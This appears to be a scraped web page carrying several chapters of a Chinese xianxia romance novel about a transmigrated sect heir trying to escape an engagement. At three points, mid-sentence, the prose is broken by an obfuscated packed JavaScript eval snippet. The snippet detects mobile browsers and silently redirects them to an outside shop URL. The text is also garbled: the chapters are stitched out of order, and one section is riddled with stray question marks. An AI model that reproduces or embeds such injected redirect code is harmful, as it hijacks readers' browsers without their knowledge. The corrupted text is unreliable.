没承想,沈清鸿却一脸正经道:“正是因为你太过顽劣,所以我才不能退婚让你去祸害别人,我必须得把你放在身边,亲自看着,将你引入正途才行。” 娄危雪:??? “我祸害别人和你有什么关系,清鸿仙尊,你是不是受伤没好全,脑子还没恢复?” “娄危雪!” 沈清鸿面颊浮上一层薄怒,不悦的气息毫不掩饰地扩散着。 见她如此,娄危雪心底突然涌上一股深深的疲惫,各种事情堆积在一起叫她喘不过气来。 灵兽跑了,神仙姐姐成了嘎了她的清鸿仙尊,自己又被抓回来逼着成婚,合欢散解药的事情还没解决,假少门主的身份随时会被揭穿,头顶还悬着一把时刻会落下的巨刀。 她只是想好好活着,怎么就这么难。 原本娄危雪是打算和沈清鸿再谈谈的,不过眼下这情况,怕是谈不下去了。 “关于我们的婚事,清鸿仙尊你再想想吧。” 留下这句话后,娄危雪转身离开。 玲溪被留在原地,见状替娄危雪解释:“清鸿仙尊,其实刚刚少门主没有欺负我的。” “我知道。” 她从师叔房中出来,看到两人神情激动,不过是想问清楚其中原因。 后面说出那些难听的话,纯属是被娄危雪刺激的。 在娄危雪的事情上,她似乎很难保持冷静。 沈清鸿把视线从娄危雪的背影上收回,神色已经重新变得平淡,完全看不出之前被气得面颊通红的人是她。 玲溪闻言诧异,“那仙尊你怎么……” 沈清鸿并未言语,向玲溪点头后告辞离开。 娄危雪沿着山路转了好久,才回去。 一上午就这么过去,娄危雪回到房间后,第一时间去见了花厌。 事情很多,但总要一件件解决。 花厌灵力被锁,什么事情都做不了,正在闭目养神。 听到动静,睁开眼皮,见是娄危雪,又懒懒地闭上。 娄危雪郁闷不已,伸手戳她。 “你被我绑着,倒是一点都不着急。” “怎么不着急,可是你能放了我?” “好说。”娄危雪伸手,“合欢散解药。” “没有。” “没有解药,那你一定知道配方……”娄危雪似笑非笑的看着花厌,“是吧,合欢宗少宗主。” 花厌身体有一瞬的僵硬,随后立刻否认。 “我不是。” “别狡辩了,我既然说你是,那就代表我已经掌握了足以证明你身份的证据。” 娄危雪坐在花厌面前的椅凳上,撑着下巴,一副胸有成竹的模样。 穿书就是这点方便,可以提前知道剧情和她们的身份。 花厌睁开双眼,沉下眸:“你怎么知道的?” “这就不是你该关心的了。” 娄危雪再次提出交易,“给我解药的配方,我放你走,怎么样?” “可以,我给你写解药配方,你把风云铃给我。” 娄危雪嗤笑一声,“一张药方,就想换我宗门的镇牌之宝,你是否太过分了些。” 花厌轻抿唇角,一抹戏谑的笑意浮现:“可是你现在需要药方不是吗?” 娄危雪纠正,“准确地来说,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715325|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要解药。” “我现在是在给你机会,”她站起身,俯视捆坐着的花厌,故意道:“你们合欢宗那么爱用合欢散,就算你不给我解药,我爹知道我需要解药后,也会想办法从你们合欢宗的门人身上弄来。” “前提是你真的是娄青涯的女儿。” 娄危雪眼睛微眯,“你在威胁我。” “不敢,我现在可是被捆着呢。” 花厌嘴上说着不敢,可是神态却没有一点害怕。 “云霄门的少门主,”花厌叫人的声音拉得很长,讽刺意味十足。 她嘴唇微微向上扬起,“我提醒你,合欢散的解药只有合欢宗的长老、宗主还有我有,而且解药的发放有着严格的控制,往往在两个时辰内解药就会失去药性,你想拿到解药,没那么容易,哪怕是你爹娄青涯也一样。” 娄危雪眉毛不自觉皱起,她目光沉沉盯着花厌,判断着花厌话里的真实性。 花厌的头向后仰去,抵着柱子,看上去极其放松。 空气安静,气氛僵持。 正在这时,娄危雪的房间门被敲响。 娄危雪重新布好屏障,离开耳房,走回自己房间,打开门,玲溪正站在外面。 “你怎么来了。” 玲溪提起自己手中的食盒,展示给娄危雪看。 “少门主,我来给你送午饭。” “进来吧。” 娄危雪侧开身体,让玲溪走入房内。 食盒里的餐食依照玲溪的习惯,被玲溪一样样摆放出来放到桌子上。 娄危雪照例留了玲溪,两人一起用饭。 不过在吃饭的时候,玲溪心不在焉的,手上虽然在扒拉着饭,但是她的眼睛却不在面前的餐食上,总是忍不住朝娄危雪的房间里瞥,像是在找什么。 娄危雪把一切看在眼里,她明知故问:“不好好吃饭,是在找什么。” 玲溪见被撞破,面颊泛红,有些不好意思。 她这次没有隐瞒娄危雪,询问道:“少门主,你把少主关哪里去了?” 娄危雪放下碗筷,“跟我来。” 玲溪闻言乖乖跟在娄危雪身后,来到与房间相连的耳房。 娄危雪挥手接触遮掩用的屏障,花厌的身影出现在玲溪眼前。 一天没见,花厌还是那副样子,看上去身上没有伤口,不过嘴唇干涩许多。 “少主!” 玲溪眼角微微泛红。 “玲溪?” 花厌皱眉,她看了眼带玲溪过来的娄危雪,突然想到什么。“是你把我的身份告诉给娄危雪的?” 玲溪被花厌的大声质问,吓得面色泛白。 “我……” 她没有告诉娄危雪花厌的身份,但是对花厌的称呼习惯,叫她在一开始就向娄危雪称花厌为少主。 想到这里,玲溪脸色更白了,几乎毫无血色。 “对不起少主,我不是有意的。” 玲溪连连道歉,眼眶中很快就蓄满泪水,“都怪我,是我太笨了。” “你真是成事不足……” 花厌神色难看,责怪的话尚未说完,就被旁边的娄危雪恶狠狠地怼了回去。 “你一个阶下囚吼什么?就你嗓门大是吗?小心我喂了你合欢散扒光扔出去!” 这话实在过于有威胁力,花厌陡然闭了嘴。 24. 第 24 章 玲溪见状,忙把错朝自己的身上揽。 “少门主,你不要生气,一切都是我不对。” 娄危雪恨铁不成钢,“这个时候,你还要为她求情!你看看她,可有一点在意你!” “见面就是质问,甚至没有关心你身份暴露,有没有受到惩罚!” 玲溪还在为花厌找借口,“少主被抓,又看到我和少门主你一起过来,怀疑我很正常。” 怎么就看不清呢! 想到玲溪在书中的后果,娄危雪没好气地点了下玲溪的脑袋,咬牙切齿道:“就你这样的被人卖了,还在给人数钱!” 花厌冷眼看着,“娄危雪,挑拨离间对我和玲溪没有用。” 娄危雪被气笑了,“这还用得着我挑拨离间?明眼人都看得出来你不在意玲溪,也就玲溪傻,看不穿你的真面目。” 玲溪手足无措地站在旁边,“少门主,你不要这么说少主,少主她对我很好的,只是你不清楚而已。” 娄危雪瞪了玲溪一眼,她可太清楚了。 就是因为清楚,所以现在看玲溪被蒙骗,才更加生气,偏偏玲溪毫不自知。 娄危雪胸口上下起伏,被玲溪堵得说不出来话。 花厌朝娄危雪得意一笑,这个时候才装模作样地关心起玲溪。 “玲溪,你身份暴露,娄危雪没对你做什么吧。” 玲溪摇头,乖乖回答:“没有,少门主人很好的,她让我隐瞒下这件事,而且还没有把我的真实身份告诉宗主。” 听到玲溪夸赞娄危雪,花厌面上飞快闪过一道不悦。 “玲溪,你以为的好,有时候其实是别有用心。” “呵,”娄危雪唇角勾起一抹嘲讽的弧度,盯着花厌意有所指,“是啊,别有用心。” “玲溪,你可要好好记住你少主和你说的这句话。” 花厌抿唇,脸绷得紧紧的,眼睛像挟着闪电的乌云。 娄危雪毫不客气地瞪回去,真是的,就你有眼睛啊。 玲溪看看花厌,又看看娄危雪,出声打破这僵局。 “少门主,你能不能放了少主。” “不能,”娄危雪收回实现,她拒绝得干脆,但也给了玲溪转圜的余地,“除非你的少主把我要的东西交给我。” “少门主你想要什么?说不定我可以给你。” “合欢散的解药,你有吗?” “没有,”玲溪眉毛顿时拧成了一个结,看上去很是苦恼,“合欢散的解药发放有着严格的控制,每次解药下发两个时辰内必须用掉,所以大家身上有合欢散,但是并不一定会有解药,哪怕是用合欢散的那个人。” 娄危雪眼睫低垂,若有所思。 看来花厌没有骗她,合欢散的解药确实不好获取。 该怎么办才能让花厌答应她的要求呢。 娄危雪沉思中,玲溪主动提议:“少门主,可以让我和少主单独待一会吗?我会尽量劝说她把解药的药方给你的。” “那你可要好好劝劝你的少主,只有给了我要的东西,我才能放她走,不是吗?” 留下这句话后,娄危雪转身离开。 花厌身上的锁灵绳有她单独加的咒术口诀,除了她没人能打开,所以她并不担心玲溪把娄危雪放走。 娄危雪走后,不等玲溪劝说,花厌直言:“我不会把解药药方给娄危雪。” “可是少主,如果你不把药方给少门主,少门主就不会放你离开。” “一天两天也便罢了,如果某天有其他人发现你在这里该怎么办?那些人可不一定像少门主这么好说话。” 玲溪目露忧色,一想到花厌的身份可能被其她人发现,身体就止不住地颤栗,她不敢想象那样的后果。 “少主,求你了,你就交出药方吧。” “胡闹!” “尽管合欢散的解药获取不易,可一但把合欢散的解药药方给娄危雪,那等于合欢散对云霄门直接没用了!情况严重点,天下所有人都会知道合欢散的解药,到时候谁中了合欢散都能自己去解!” 玲溪眸中闪着泪光,依旧坚持,“对我来说,这些都没有少主的安全重要。” “我看你是在云霄门待得太久了,连自己的身份都忘记了,竟然相信娄危雪这个云霄门的人!” “你怎么知道我交出药方,她就会放我离开?你忘记她之前是怎么欺骗你,怎么欺负你的了吗?” 玲溪忍不住辩解,“少门主现在比以前好很多,她答应的事,肯定不会反悔的。” 花厌的脸色变得越发冷漠,她大声训斥:“少门主少门主!你是合欢宗的人,现在娄危雪不在,你还叫她少门主,眼里可还有我这个少主了?” “吃里爬外的东西!也不知道娄危雪究竟给你灌了什么迷魂汤,让你这般帮她说话!” 玲溪委屈不已,她只是想救少主,可是为什么少主那样说她。 少主的心里真的有意她吗? 与此同时,沈清鸿和李寻真以商量婚事办理事由,拜访了娄青涯。 屋里除了娄青涯之外,再也没有其她人。 李寻真状似不经意地询问:“怎么没有见到云夫人?” “夫人……”娄青涯嘴角勾起一抹苦涩的弧度,“夫人她正闭关,不能出来见客,还请见谅。” 李寻真故作不解,“可危雪毕竟是云夫人的女儿,她成婚这样的人生大事,云夫人也不能出来操办吗?” 娄青涯摇头,似是无奈,“我曾去过夫人闭关的醉月居,醉月居大门紧闭,不让任何人进去,就连我去了也只不过是能在门口和夫人说几句话而已。” “我与她说过九寒的婚事,只是夫人说她在修炼一种心法,正在紧要关头不能出现任何差错,至于婚事就由我做主。” 沈清鸿闻言和李寻真相互对视一眼,两人面上不露声色,心底却觉云文君闭关的行为十分怪异。 “如此真是太遗憾了。” 娄青涯闻言,宽慰道:“李宗主请放心,虽然夫人不在,但是我会好好替九寒和清鸿操办的。” 李寻真摸了摸长长的胡须,笑道:“有娄宗主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721321|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这句话,我便放心了。” 之后三人又说了一些关于婚事采买布置的问题,然后沈清鸿和李寻真才离开。 等离娄青涯居住的地方远了,李寻真将神识放出,时刻留意周围动向,防备有人会听到他接下来和沈清鸿的对话。 “娄危雪成婚这般重要的事情,云文君作为她的母亲竟然宁愿选择修炼心法,都不愿意出来,实在是太过蹊跷。” 沈清鸿清冷如月的眼眸中闪烁着冰冷的亮光,“师尊曾说过,天书九卷是上古传下来的至高心法,被人杀害后遗失八卷,如果偷走天书的人是云文君,她手中应只有八卷,心法不全于修炼无益,这很有可能是她常年闭关不出的原因。” 李寻真微微摇头,“清鸿,切莫着急下定论。” “你说的那些不过是你的猜测,如今我们尚且没有寻到证据证明师兄的死与云文君有关,更无法确认云文君是因为修炼天书所以才闭门不出的。” “眼下还是要尽量探寻,找到更多关于云文君的线索才是。” “可是云文君现在闭关不出,娄青涯尚且不能够见到她,我们又如何能够接触她?” 沈清鸿眉凝纠结,语气里透露了一丝烦躁,“不如今夜我找个机会,去她闭关的地方打探一番,看看究竟是怎么一回事。” 李寻真连忙出声制止,“不可鲁莽,这里是云霄门,云文君闭关的地方必然有人把守,更何况万一云文君就是杀你师傅夺走天书八卷的人,你恐怕不会是她的对手。” “我知你想为你师傅报仇,但是这么多年都忍过来了,不要急于这一时。” 沈清鸿面色紧绷,握着拳头的手缓缓松开,她深吸一口气,让自己发热的大脑慢慢冷静下来。 “师叔教训的是,我知道了。” “嗯,只要在云霄门待着,我们或多或少可以打听到一些事情,时间久了,她如果真有不对劲的地方,不会不露一点马脚。” 说到这里,李寻真微皱双眉,“不过我还要处理天一宗的事情,恐怕不能再次多做停留。” 沈清鸿的师傅原本是天一宗的宗主,但是因为天书九卷丧命。 宗门不可一日无主,沈清鸿虽然是被当作未来宗主继承人培养的,但终究威望不足,于是在长老们的商量下,由李寻真暂代天一宗宗主,等沈清鸿为师尊报仇后,威望得以服众,再正式接任天一宗宗主之位。 往日她与李寻真,必定有一个会留在宗门,也就这次情况特殊,两人才一起过来。 知道李寻真不能久留,沈清鸿面沉如水,她提议:“师叔,你可以先回天一宗,我与娄危雪有亲事,留在这里合情合理。” 李寻真神色闪过一抹犹豫,似是想到什么,欲言又止:“清鸿,你与那娄危雪……” “师叔放心,我与娄危雪只是朋友,绝不会因个人恩情影响到为师尊复仇的大事。” “唉,师叔信你。”李寻真长叹一声,“你修的是无情道,切记,绝不可动情。” 沈清鸿面色一变,垂眸道:“是,清鸿谨记师叔教诲。” 25. 第 25 章 两人商议完事情,李寻真正准备把放出的神识收回,忽然感知有人朝他们这里走来。 “嗯?” 沈清鸿发现李寻真面色有异,还以为是发什么什么事情了,神色陡然一紧。 “师叔你怎么了?可是感知到了什么不对劲的地方?” 见沈清鸿这般,李寻真微微一笑。 “别这么紧张,”他说着,伸手指向远处,“你看,谁来了?” 沈清鸿顺着李寻真手指的方向望去,鹅卵石铺就的小道上,娄危雪双手背在脑后,嘴巴里叼着不知道哪里弄来的野草,悠悠闲闲地踩着步子,正朝着她们这个方向走来。 “是她。” 沈清鸿颔首,原本紧绷着的身体放松许多,嘴角溢出了一丝不易察觉的笑意。 李寻真将沈清鸿的反应看在眼里,脸上不由浮现出深深的担忧。 沈清鸿这孩子是他看着长大的,平日里做事认真的紧,不苟言笑的,身边连个能说话的同龄人都没有,尤其是自她转修无情道后,就变得更加沉默了,只知埋头修炼,想着有朝一日能够为师傅报仇。 寒来暑往,不分昼夜,一日都未曾落下修炼,境界稳步提升,是年轻一代里修为最高的。 为了打探关于天书的下落,她时常下山,因此处理了不少路上遇到的妖邪,解决不少祸事,宗门里的弟子们都很尊敬她。 可,高处不胜寒,孤独最难捱。 他们修真界流传下来的传说里,尽管修无情道的人不多,却并不是没有,有的修行圆满成功飞升,更多的却是迟迟不能勘破,困于情愫身死道消。 但人非顽石,孰能无情。 情之一字是无情道上最大的阻碍,却也是无情道上必须跨过去的槛。 大道无形,生育天地;大道无情,运行日月。 每个人都有自己要勘破的道,李寻真不知道沈清鸿最后能不能闯过情关,但是真心希望从小看着长大的沈清鸿能平安无虞。 李寻真拍拍沈清鸿的肩膀,“清鸿,去吧。” “好。” 沈清鸿朝着娄危雪所在的道路走去,两人相对而行,距离越来越短,差不多还剩几百步。 危雪很快注意到了正朝她走来的人。 她原本是为了把空间腾给玲溪和花厌,所以才出来的,只是云霄门这么大,她没想到她只是随便走走,都能遇到沈清鸿。 娄危雪暗道不妙,她吐掉嘴巴里叼着的野草,趁着沈清鸿没有叫她之前,面不改色地调转方向,朝着来时的方向走去。 沈清鸿已经准备和娄危雪打招呼了,却没想到那人转身就走。 原本就面无表情的俏脸,更加冰冷。 “娄危雪!” 她语气寒冷,如同冬日的井水,冻得人彻骨生寒。 娄危雪打了个寒颤,可脚下没有丝毫停顿,反而加快许多,她装作没听见般,闷头往前走。 沈清鸿冷哼一声,抬手并起双指,寒芒闪过,均鸿剑出鞘笔直朝娄危雪飞去。 听到身后传来的动静,娄危雪运转心法,脚步腾转,身姿灵动,只一个眨眼便前进了一大截。 她使的正是云霄门的轻功,乘风流云步。 沈清鸿眼睛微眯,白衣缥缈在原地留下残影。 均鸿剑的速度在她的操控下陡然上升,瞬间从娄危雪的身侧穿过,横剑拦在娄危雪身前,挡住娄危雪的路。 剑刃锋利,闪耀着银芒。 这下就算娄危雪想当作没看见都不行了,她认命转身,沈清鸿此时已经追到了她身前。 “你跑什么?” 沈清鸿冷着脸,眼中盛满寒冰。 娄危雪不答反问,“清鸿仙尊,你有什么事情吗?” 沈清鸿沉默不语,她只是听师叔的话,过来打招呼而已。 见对面那人半天不说话,娄危雪抬手,“再见。” “等等。”沈清鸿忍不住叫住娄危雪,眉毛拧成了一个结,“你没有什么要说的吗?” 娄危雪抬眸,“你要和我退婚吗?” “不退。” 沈清鸿答得斩钉截铁。 “那我们之间就没有可聊的了。告辞。” 娄危雪毫不犹豫转身就走,沈清鸿被留在原地,周身散发着能够冻死人的冷气。 望着娄危雪逐渐远去的背影,沈清鸿的眉毛紧紧皱在一起。 似乎自从身份被娄危雪得知后,娄危雪对她的态度就不一样了,其中有什么她不知道的隐情吗? 而另一边,娄危雪估摸着时间差不多了,回到自己居住的院中。 花厌还是那副样子,玲溪睫毛湿润,鼻尖红彤彤的,脸上还有泪痕,就那么站在边上,显然是大哭一场。 娄危雪眉心微跳,踹了花厌一脚。 “狗东西。” 花厌: “就知道欺负玲溪。” 玲溪赶忙抹了下脸颊,“少主没有欺负我。” 娄危雪瞪了玲溪一眼,“跟我出来。” 玲溪咬唇犹豫一瞬,还是跟着娄危雪离开耳房。 “坐。” 娄危雪扬扬下巴,示意玲溪坐她对面。 “看你这样子,你和她交流得不顺利吧。” 玲溪惭愧地低下头,“对不起,少主她不愿意交出药方。” “不过少门主你放心,我会继续努力劝说少主的!” 凭借她在书中看到的事情,娄危雪并不觉得,玲溪真的能说动花厌。 娄危雪拒绝,“不用了,你之后不用去了。” 花厌那狗东西就知道欺负玲溪,她可不想天天面对玲溪一张哭脸。 玲溪听后却急了,“少门主,你不要不让我看少主,我会努力劝说少主的,求求少门主了。” “玲溪。” 娄危雪无奈叫了一声。 玲溪闭上嘴,但是眼中满是哀求,看上去可怜兮兮的。 娄危雪顿时一个头两个大,“罢了罢了,我还要找你少主问药方呢,总不能让她饿死。” “以后你少主的一日三餐就交给你了。” 玲溪眼睛瞬间就亮了,露出甜笑。 “谢谢少门主!” 娄危雪摇摇头,拿玲溪没有办法。 确认以后都可以和花厌见面后,玲溪向娄危雪告退,离开房间。 屋中空荡荡的,娄危雪撑起下巴,望着窗外,思绪开始飘远。 花厌这边交给了玲溪,她暂时不用操心,那剩下的就是沈清鸿那边了。 到底怎样才能让沈清鸿取消亲事啊! 明明之前在小屋中的时候,沈清鸿都不怎么搭理她的。 而且之前见面的时候,她已经和沈清鸿说过自己的想法了。 当时她说的话,她自己都觉得欠揍,更别提沈清鸿了。 可是那样沈清鸿都没有退婚,实在是让人费解。 她记得她那个便宜爹说过,仙门大比之后会为她举办婚事,她得赶紧想想办法,在仙门大比之前让沈清鸿退婚才行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725603|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到底要怎么做呢。 娄危雪烦躁地揪着头发,苦苦思索。 等晚上玲溪来给娄危雪送饭的时候,就见到娄危雪一副纠结的模样,早上梳得整齐的发髻,乱糟糟地顶在脑袋上。 “少门主,你怎么了?” “我在想,要怎么样才能让一个人讨厌我。” “啊?” 玲溪疑惑,这是什么问题。 “为什么要让人讨厌?” “因为我不想死。” 两人一问一答,玲溪虽然不明白这中间有什么关联,但还是给出了自己的见解。 “如果想让那个人讨厌,那就做让那个人讨厌的事情不就好了。” “可是我不知道她讨厌什么。” 这正是叫娄危雪如此为难的部分原因。 她泄气般地瘫在椅子上,玲溪的身影在娄危雪眼前晃来晃去的,娄危雪原本飘散的眼神逐渐聚焦。 有了! 娄危雪脑中灵光一闪,她坐起身体。 “玲溪,我有件事情,需要你帮忙。” “少门主你说。” “我想请你在沈清鸿面前配合我演戏,让她误会我和你的关系。” 玲溪睁大眼睛,满脸不解,“可是少门主,清鸿仙尊与你有婚约,你为什么要这么做。” 娄危雪毫无隐瞒,解释道:“因为我不想和她成婚,但是我爹不会让我退婚,所以我只能想办法让沈清鸿主动提出退婚。” “玲溪,帮帮我吧。” 玲溪唯唯诺诺地点头,“好吧。” 少门主对她很好,她也想回报少门主一些。 之后的几日,玲溪每天除了给花厌送饭,便是跟着娄危雪,被娄危雪带着在宗门里到处逛。 两人举止亲密,娄危雪时不时给玲溪说些笑话,逗得人欢笑连连。 没多久,宗门上下许多弟子差不多都看到过娄危雪和玲溪在一起的样子。 两人本就生得好看,娄危雪又是云霄门的少门主,可以说是话题的中心人物。 弟子们修习结束,做完手中的事情后,便三三两两地聚在一起。 “少门主这几天是怎么回事啊?她不是和清鸿仙尊有婚约吗?怎么还和玲溪拉拉扯扯地搞不清楚?” “少门主之前被宗主关禁闭,一日三餐都是玲溪送的,而且听说先前有人欺负玲溪,还被少门主给教训了,你们说少门主是不是喜欢玲溪啊。” 一个圆脸女弟子闻言,满脸不屑。 “要我说,还是清鸿仙尊好,年纪轻轻就有那般修为,生得也好看,简直比玲溪好百倍千倍!” 另一个高束头发的男弟子闻言,不赞同地反驳。 “你忘啦,清鸿仙尊修的是无情道,传说里那些修无情道的前辈,还有人杀妻证道,我要是少门主,我也不选清鸿仙尊。” “就是就是,清鸿仙尊冷冰冰的,没有一点人情味,虽然可敬,但是也可怕啊!” 一个刚入门的男弟子,不解询问:“那这样,少门主为什么还不和清鸿仙尊退婚啊?” “谁叫宗主不让呢。” “清鸿仙尊一直高高在上的,现在少门主和玲溪搞这么一出,我真想知道清鸿仙尊是什么表情,天一宗又是怎么想。” “天一宗可是修仙门派之首,我已经很久没看到,他们的面子被人这般按在地上摩擦了,少门主真是厉害啊!” 沈清鸿境界高,远远地就听到了弟子们的议论之声,脸色冷得可怕。 20-30 第21章 两人四目相对,除了?震惊就是尴尬,尤其是娄危雪现在?还跪着。 她撑着膝盖,尴尬起身,“清鸿仙尊,哈哈好?久不见啊。” 沈清鸿一向冷淡的脸色难得出现了?错愕,难以置信的看着她:“你是云霄门的少门主,娄危雪?” “咳,”娄危雪摸摸鼻子,瞥了?眼站在?旁边的娄青涯,回答道:“是我,娄九寒是我的小名。” 沈清鸿眉头皱起,原本面无表情的俏脸寒了?几分。 她原本以为娄危雪不过是个?普通散修,没想到竟然是云霄门的少门主,还是她的婚约对象。 两人无言,娄危雪更是被看得浑身不自在?,脚趾抠地。 李寻真见沈清鸿一直盯着娄危雪看,眉梢微挑,两人这反应不像是第一次见面啊。 “清鸿,你们见过?” 沈清鸿微微颔首,如实?回答:“师叔,先前我和你说我在?外面受伤,被人救下,那个?救我的人正?是娄九寒。” “原来如此。” 李寻真想到自己那接连五道都没能把人催回来的传讯符,以及沈清鸿回来后连夜赶事务的样子,心中了?然。 不过今日他们可是来退婚的,看这样子,这婚事能不能退,还不一定。 李寻真问道:“清鸿,既然你们认识,那今日这婚事,你还要退吗?” “我……” 沈清鸿悄悄握紧双手,目露犹豫。 娄青涯完全没想到,娄危雪逃出宗门的这些天,竟然在?外救了?沈清鸿。 他本就不想叫沈清鸿退婚,见沈清鸿拿不出主意,提议道:“李兄,这是两个?年轻人的事,何不让她们单独聊聊,然后再决定要不要解除婚约。” “嗯。”李寻真点头,轻抚着长长的胡须,笑道:“如此也好?。” 娄危雪头皮发麻,她真的一点都不想和沈清鸿单独相处,可他那个?便宜爹对此毫无所?觉,仍旧在?说着。 “九寒,你带清鸿去宗门里转转。” 一边是自己爹,一边是天一宗的长老?,娄危雪哪里有说不的权利。 她伸手,“清鸿仙尊,请。” 两人离开议事大?厅,沿着山路往下走着,一时?无言。 还是沈清鸿先开了?口,“当初我让你在?小屋中等我,你为什?么离开?” 娄危雪讪笑连连,“我……其实?那天……嗯……” 她总不能说当初她离开,是因为沈清鸿以后会杀了?她,所?以吓得离开了?吧。 娄危雪组织着语言,思?考要怎么说。 沈清鸿睨了?娄危雪一眼,嗓音冰冷,“不想答,可以不答,不用找借口敷衍我。” 沈清鸿都这么说了?,娄危雪索性闭嘴。 两人又往山下走了?一截路,沿途景色葱翠,偶尔还有飞鸟扑扇着翅膀从头顶飞过。 不少弟子已经起来,不大?不小的议论?声传入娄危雪耳中。 “诶,你们听说了?吗?天一宗那位改修无情道的仙尊,今天来退婚了?,而且还叫了?宗门长老?一起来。” “对对对,我也看到了?,不过清鸿仙尊是修无情道的,为什?么还会有婚约啊?” “我有个?天一宗的朋友,她和我说清鸿仙尊是中途转修的无情道。” 转修无情道的这个?事情,娄危雪倒是隐约记得。 沈清鸿的师尊被合欢宗主所?杀,纵然沈清鸿天赋异禀,却因为执念太深迟迟无法突破,于是为了?为了?让自己快速变强,她忍受着洗髓伐骨的痛楚,转修无情道。 只花了?三年的时?间?,沈清鸿就突破到达了?化神境,与合欢宗的宗主达到了?同一境界,虽然两个?尚有一定差距,但如此年纪便突破化神境实?乃不世的修炼天才,自然看不上?娄危雪这种草包了?。 那几个?弟子显然没注意到娄危雪和沈清鸿,还在?那里八卦,越来越多?的传言,飘入娄危雪耳中。 议论?的对象就在?自己身边,娄危雪控制不住自己的眼睛,忍不住往沈清鸿那边瞥了?几眼,多?日不见沈清鸿还是那副样子,清清冷冷的,白?袍乌发宛如天山雪,沾染不到任何尘埃。 难怪是修无情道的,看上?去真是冷心冷情。 她正?想着出神,猝不及防对上?一双眼睛,沈清鸿不知道什?么时?候转过头。 两人视线于半空交会,娄危雪尴尬不已。 完啦!偷看被发现啦! 血色一点点上?涌,娄危雪面颊发热,没注意沈清鸿眼底闪过的一丝笑意。 娄危雪硬着头皮找话,“那什?么,清鸿仙尊,多?日不见,你身体好?些了?吗?” 她记得走的时?候,沈清鸿身体还没完全恢复,尚且还有些虚弱。 “已经没事了?,吕师叔已经帮我看过了。” 天一宗的天材地宝有很多,沈清鸿又是宗门继承人,她回去之?后就被宗门长老好好诊治了一番,没留下半点顽疾。 话匣子被打开,凝滞的空气缓缓流动起来。 沈清鸿有些在?意娄危雪对她的称呼,“你我有婚约在?身,你又是我的救命恩人,可以不用喊我清鸿仙尊。” “可你今日是来退婚的。” “是,我原本是来退婚的。” “那就退婚。” 娄危雪选择忽略原本这两个?字,她的心脏还没有强大?到在?明知沈清鸿会杀死她后,还和沈清鸿在?一起。 沈清鸿双眉拧在?一起,“你说什?么?” “我说退婚。” 娄危雪压下心中的异样,“当初我不知道清鸿仙尊的身份,受合欢散的影响,对清鸿仙尊做出那种事情,还请清鸿仙尊见谅。” 沈清鸿面有愠色,似乎正?强忍着心中的怒火。 “你是这样想的?” 娄危雪狠心说道:“是,当初的事是个?错误。” 弟子们先前的议论?回响在?娄危雪耳边,她不觉得自己能够改变沈清鸿。 自穿书以来,她已经努力逃开原书的剧情线,可目前看来并未有什?么成效。 没人能在?知道自己会死的时?候,无动于衷,她还是想努力摆脱必死的结局。 既然自己在?未来会死在?沈清鸿的手上?,那倒不如离沈清鸿的远远的,把婚退了?,断个?干净,说不定还有活下来的可能。 沈清鸿眸子瞬间?冷了?下去,越来越冷,清冷如月的眼眸中闪烁着冰冷的亮光。 小屋中的点滴日常浮现在?沈清鸿脑海中,想到娄危雪当初对她做的事情,沈清鸿怒火更盛。 “难道你当初做的那些,都是在?戏耍我吗!” “我绝对不敢戏耍仙尊,实?在?是当时?受合欢散影响,迫不得已。” 这宛如借口般的解释,沈清鸿听在?耳中,只觉异常刺耳。 她冷哼一声,一气之?下,拂袖离去。 不过沈清鸿还没走出多?远,迎面跑来一人,撞向沈清鸿。 眼看着那人就要摔倒,沈清鸿下意识伸手扶住了?她。 “对不起!我太着急了?,你没事吧。” 这声音有些熟悉,恰在?这时?,那人抬起头,这也叫沈清鸿看清了?对方的长相。 “玲溪?” “清鸿仙尊。” 两人四目相对,皆是惊诧。 昨日花厌借了?玲溪的身份办事,晚上?玲溪等在?房间?中,却迟迟没见花厌回来。 因为担心花厌出事,玲溪一大?早就去找了?娄危雪,结果却被告知娄危雪被宗主叫去议事大?厅。 她知道后匆匆赶往议事大?厅,结果因为太着急不小心撞到沈清鸿。 说来自从上?次与沈清鸿分别?之?后,玲溪已经许久没再见过她。 她寒暄道:“清鸿仙尊,许久不见,仙尊过得怎样?” “我很好?,不过你怎么会在?这里?” 当初沈清鸿下山处理一件妖怪吃人的事情,不小心受伤,是玲溪路过,带她去看的大?夫。 不过两人没有相处太久,沈清鸿身上?的伤口好?了?之?后,两人便各自道别?分离。 玲溪答道:“与仙尊分别?后,我听说云霄门正?在?选拔弟子,便过来参加,结果运气好?被选中了?,现在?我已经是云霄门弟子中的一员了?。” “恭喜你。” 